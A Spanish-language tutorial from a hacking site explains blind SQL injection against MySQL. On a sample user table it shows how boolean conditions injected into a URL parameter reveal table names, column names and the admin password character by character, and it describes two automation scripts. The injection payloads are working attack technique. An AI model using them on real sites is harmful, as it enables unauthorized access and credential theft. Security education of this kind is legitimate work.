Home Hacking y Seguridad Seguridad Web/CGI Blind SQL injection - MySQL
Blind SQL injection - MySQL Imprimir E-mail
Hacking y Seguridad - Seguridad Web/CGI
Escrito por Pepelux   

Hay mucha documentacion acerca de como inyectar codigo SQL en servidores MS-SQL Server de Microsoft, usados habitualmente con paginas ASP y, que muestran el codigo de error por pantalla, permitiendonos mediante comandos UNION, HAVING, GROUP BY y demas, destripar la estructura entera de una base de datos asi como extraer, armados de paciencia, todos los datos.

Algunos textos muy interesantes sobre este tipo de ataques los puedes ver aqui:


MySQL - Blind SQL injection  { por Pepelux  -- 10/04/2008

------[ 0.- Indice ]


0.- Indice

1.- Introduccion

2.- Blind SQL en servidores MySQL

3.- Herramientas
3.1.- sqlcheck.sh
3.2.- sqldata.sh

4.- Despedida



------[ 1.- Introduccion ]

Hay mucha documentacion acerca de como inyectar codigo SQL en servidores
MS-SQL Server de Microsoft, usados habitualmente con paginas ASP y, que
muestran el codigo de error por pantalla, permitiendonos mediante comandos
UNION, HAVING, GROUP BY y demas, destripar la estructura entera de una base
de datos asi como extraer, armados de paciencia, todos los datos.

Algunos textos muy interesantes sobre este tipo de ataques los puedes ver
aqui:

Texto: Advanced SQL Injection
URL: http://www.ngssoftware.com/papers/advanced_sql_injection.pdf

Texto: More Advanced SQL Injection
URL: http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

Tambien hay un texto muy interesante sobre ataques ciegos sobre MS-SQL Server
cuando no se muestran los errores por pantalla, no como en los casos
anteriores, en los que si que los veiamos:

Texto: Blind SQL Injection
URL: http://www.spidynamic.com/assets/documents/Blind_SQLInjection.pdf



------[ 2.- Blind SQL en servidores MySQL ]

Lo que voy a explicar aqui es como realizar ataques ciegos sobre servidores
MySQL, que se realizan de manera muy diferente al MS-SQL Server, explicado en
el texto que he enlazado arriba.

Supongamos que tenemos la siguiente tabla:

usuarios (id int, user char(20), pass char(20), nombre char(100))

id user pass nombre
1 admin g00d Administrador
2 pepelux pepelux123 Pepelux - eNYe-Sec

Y que tenemos una web a la que pasandole el ID nos muestra en pantalla el
nombre del usuario:
Entrada: http://www.miweb.com/verdatos.php?id=2
Salida: Nombre: Pepelux

Suponemos que el codigo a ejecutar en esta pagina sera algo asi:

SELECT nombre FROM usuarios WHERE id=$id

Por lo que si escribimos:
http://www.miweb.com/verdatos?id=2 AND 1=1

deberiamos obtener el mismo resultado:
Nombre: Pepelux

Sin embargo, escribiendo:
http://www.miweb.com/verdatos?id=2 AND 1=2

el resultado seria:
Nombre:

Y esto, por que? Pues en el primer caso la condicion se cumple y se obtiene
el resultado: Pepelux

SELECT nombre FROM usuarios WHERE id=2 AND 1=1

En el segundo caso la condicion NO se cumple y no se obtiene ningun resultado:

SELECT nombre FROM usuarios WHERE id=2 AND 1=2

Y esto, para que nos sirve? pues para poder determinar, mediante condiciones,
si ciertas sentencias son verdaderas o falsas, es decir, si probamos algo
asi:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM prueba) > 0

En este caso NO aparecera el nombre Pepelux en el resutado ya que la
sentencia no es correcta, dado que no existe ninguna tabla llamada prueba.
Pero si probaramos esta otra sentencia, SI que nos apareceria en la web
Nombre: Pepelux al cumplirse la condicion:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios) > 0

Si os fijais, la segunda condicion es (SELECT Count(*) FROM usuarios) > 0 que
en este caso daria verdadero ya que 2>0 (Count(*)=2) ... por tanto, la
condicion se cumple y nos mostraria el nombre Pepelux en pantalla.

Esta claro, no? son dos condiciones unidas con un AND. La primera siempre se
cumple ya que es la que habia en la web para mostrarnos el nombre segun ese
ID. Y la segunda es la que nosotros escribimos para realizar nuestras
comprobaciones. Si todo funciona con normalidad y nos aparece en pantalla el
resultado esperado, es que la segunda condicion se ha cumplido y, por tanto,
podemos asegurar que lo que hemos probado es correcto. Si por el contrario no
sale por pantalla el resultado esperado, la segunda sentencia es falsa.

Una vez aclarado esto, y viendo que ya hemos obtenido que existe una tabla
llamada usuarios (ha sido un ataque ciego), vamos a intentar sacar el numero
de campos de esta tabla. Debajo de la sentencia ire escribiendo TRUE o FALSE
en funcion de si el resultado es o no correcto, por no repetir tanto lo de
nombre: Pepelux.

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios) > 0
TRUE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios) > 5
FALSE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios) = 2
TRUE

Con esto hemos deducido que la tabla usuarios tiene 2 registros (2 usuarios).

Como ya he dicho, esto es un ataque ciego y se realiza por intuicion. Del
mismo modo que hemos obtenido el nombre de la tabla vamos a ver si podemos
averiguar los campos de esta:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(login) FROM usuarios) > 0
FALSE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(user) FROM usuarios) > 0
TRUE

El primer caso nos dio falso porque NO existe ninguna columna login y el
segundo nos dio verdadero dado que SI que existe una columna llamada user.

Y ya echando algo mas de imaginacion podemos tratar de averiguar los datos de
los campos. Pero antes una prueba:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios WHERE user LIKE '%') > 0
FALSE

Que ha ocurrido aqui? se supone que esa sentencia deberia dar verdadero pero
no es asi. Y esto es debido a que el servidor parsea las comillas. Por tanto,
lo que realmente obtiene seria algo asi:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios WHERE user LIKE \'%\') > 0

En este caso no podemos usar comillas en la sentencia SQL por lo que hay que
recurrir a otras tecnicas. Vamos a probar con lo siguiente:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97)) > 0
TRUE

Parece que funciona :) ... lo que hemos hecho es solicitar aquellos usuarios
cuyo primer caracter sea una a ... en ASCII seria char(97)

Para averiguar el nombre completo iriamos concatenando mas sentencias:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100)) > 0
TRUE

Esto quiere decir que hay un usuario que su user comienza por ad.

Para averiguar el tamaño del campo podemos usar la sentencia:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Length(user) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100)) > 0
TRUE

En este caso nos da verdadero porque la longitud del user en cuestion, es 5
y, 5>0. Pero hay que tener cuidado al usar esta sentencia ya que si hubiera
mas de un usuario que comienza por ad, el resultado seria un error de SQL, al
haber mas de un campo y, como no vemos el error por pantalla, para nosotros
seria un false y podriamos despistarnos un poco. Por tanto, si el resultado
es verdadero podremos ir afinando hasta obtener el tamaño exacto, pero si el
resultado es falso, debemos seguir sacando caracteres hasta que solo haya un
resultado. En este caso sabemos que es 5:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Length(user) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100)) > 3
TRUE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Length(user) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100)) > 5
FALSE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Length(user) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100)) = 5
TRUE

Tras varias pruebas y conociendo la longitud comprobaremos que hay un usuario
llamado admin:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100) AND
SUBSTRING(user,3,1)=char(109) AND
SUBSTRING(user,4,1)=char(105) AND
SUBSTRING(user,5,1)=char(110)) >0
TRUE

En lugar de buscar exactamente el valor del ASCII, tambien podemos acotar el
resultado, por ejemplo: SUBSTRING(user,1,1)>char(100)

Del mismo modo que con el user, hacemos con la contraseña. Primero buscamos
el nombre del campo y luego, concatenando al resultado anterior, sacamos la
contraseña del usuario admin:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(pass) FROM usuarios) > 0
TRUE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Length(pass) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100) AND
SUBSTRING(user,3,1)=char(109) AND
SUBSTRING(user,4,1)=char(105) AND
SUBSTRING(user,5,1)=char(110)) >0
TRUE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Length(pass) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100) AND
SUBSTRING(user,3,1)=char(109) AND
SUBSTRING(user,4,1)=char(105) AND
SUBSTRING(user,5,1)=char(110)) >5
FALSE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Length(pass) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100) AND
SUBSTRING(user,3,1)=char(109) AND
SUBSTRING(user,4,1)=char(105) AND
SUBSTRING(user,5,1)=char(110)) =5
FALSE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Length(pass) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100) AND
SUBSTRING(user,3,1)=char(109) AND
SUBSTRING(user,4,1)=char(105) AND
SUBSTRING(user,5,1)=char(110)) =4
TRUE

Ya tenemos que la contraseña del usuario admin tiene una longitud de 4
caracteres. Para averiguarla:

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100) AND
SUBSTRING(user,3,1)=char(109) AND
SUBSTRING(user,4,1)=char(105) AND
SUBSTRING(user,5,1)=char(110) AND
SUBSTRING(pass,1,1)=char(103) AND
SUBSTRING(pass,2,1)=char(48)) >0
TRUE

SELECT nombre FROM usuarios WHERE id=2 AND
(SELECT Count(*) FROM usuarios WHERE
SUBSTRING(user,1,1)=char(97) AND
SUBSTRING(user,2,1)=char(100) AND
SUBSTRING(user,3,1)=char(109) AND
SUBSTRING(user,4,1)=char(105) AND
SUBSTRING(user,5,1)=char(110) AND
SUBSTRING(pass,1,1)=char(103) AND
SUBSTRING(pass,2,1)=char(48) AND
SUBSTRING(pass,3,1)=char(48) AND
SUBSTRING(pass,4,1)=char(100)) >0
TRUE

Y obtenemos que la contraseña del usuario admin es g00d.



------[ 3.- Herramientas ]

Como este trabajo es muy laborioso de realizar manualmente, he implementado
dos scripts que agilizan bastante la labor. cada uno de ellos realiza una
funcion diferente.

Estas herramientas estan programadas en shell-script para linux y las podeis
descargar de la web de eNYe.

Tengo que decir que no estan muy optimizadas dado que las hice en un par de
dias y como algo para uso personal, por lo que si alguien las mejora, no
estaria mal que me las pasara y asi publicamos los cambios :)


------[ 3.1.- sqlcheck.sh ]

Este script, pasandole la ruta de la URL vulnerable, es capaz de obtener
algunos datos del mysql como la version, el nombre de la base de datos, el
usuario con el que estamos conectados, etc.

Ademas, mendiante fuerza bruta, busca los nombres de las tablas y de los
campos de la base de datos.

En el mismo fichero hay una descripcion mas detallada de como usarlo.


------[ 3.2.- sqldata.sh ]

Este script, pasando la ruta vulnerable y el nombre de la tabla y el campo
(previamente obtenidos con el otro script, es capaz de extraer datos de la
base de datos (usuarios, contraseñas, etc).

Editando el script tambien vereis una descripcion mas detallada de su forma
de uso.



------[ 4.- Despedida ]

Como siempre, la solucion esta en el parseo de todos los campos que se envian
a traves de GET o POST. Restringiendo el tamaño y eliminando todos los
caracteres que no sean A-Z, a-z o 0-9.

Espero que os haya servido este texto. Cualquier duda o consulta, podeis
escribir a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla

Saludos.

-= Pepelux =-



=-|================================================================ EOF =====|